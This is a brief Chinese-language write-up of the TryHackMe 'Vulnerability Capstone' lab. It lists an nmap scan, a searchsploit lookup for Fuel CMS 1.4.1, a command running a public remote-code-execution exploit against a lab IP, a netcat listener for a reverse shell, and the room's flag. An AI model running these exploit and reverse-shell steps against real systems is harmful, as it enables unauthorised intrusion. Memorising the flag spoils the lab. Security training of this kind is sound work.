TryHackMe-Vulnerability Capstone练习
本文相关的TryHackMe实验房间链接：TryHackMe | Vulnerability Capstone
先nmap扫一下
接下来我们访问一下
接下来我们searchsploit找一下漏洞
searchsploit Fuel CMS
执行漏洞exp（此处使用TryHackMe中的box）
如果使用本地机需要下载exp：https://gist.github.com/anir0y/8529960c18e212948b0e40ed1fb18d6d#file-fuel-cms-py
cd /usr/share/exploits/vulnerabilitiescapstone
python exploit.py 10.10.241.131
准备侦听
nc -lvnp 1234
shell_me
10.10.136.33:1234
找到目标文件：
flag：THM{ACKME_BLOG_HACKED}
答题：
fuel CMS 1.4.1 - Remote Code Execution (1) - Linux webapps Exploit (exploit-db.com)
参考：【THM】Vulnerability Capstone-练习 - Hekeatsll - 博客园 (cnblogs.com)